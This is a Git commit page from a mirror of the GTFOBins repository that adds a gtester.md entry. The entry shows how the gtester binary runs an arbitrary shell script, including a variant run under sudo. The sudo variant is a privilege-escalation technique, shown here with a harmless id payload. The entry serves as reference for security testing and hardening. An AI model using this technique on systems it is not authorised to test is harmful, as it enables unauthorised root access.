1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-01-10 09:21:34 +01:00

Create gtester.md

This commit is contained in:
bcoles 2020-03-18 06:32:25 +11:00 committed by GitHub
parent 813d1bebca
commit ee1093fc7b
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

17
_gtfobins/gtester.md Normal file

@ -0,0 +1,17 @@
---
functions:
command:
- code: |
TF=$(mktemp)
echo '#!/bin/sh' > $TF
echo '/usr/bin/id' >> $TF
chmod +x $TF
gtester -q $TF
sudo:
- code: |
TF=$(mktemp)
echo '#!/bin/sh' > $TF
echo '/usr/bin/id' >> $TF
chmod +x $TF
sudo gtester -q $TF
---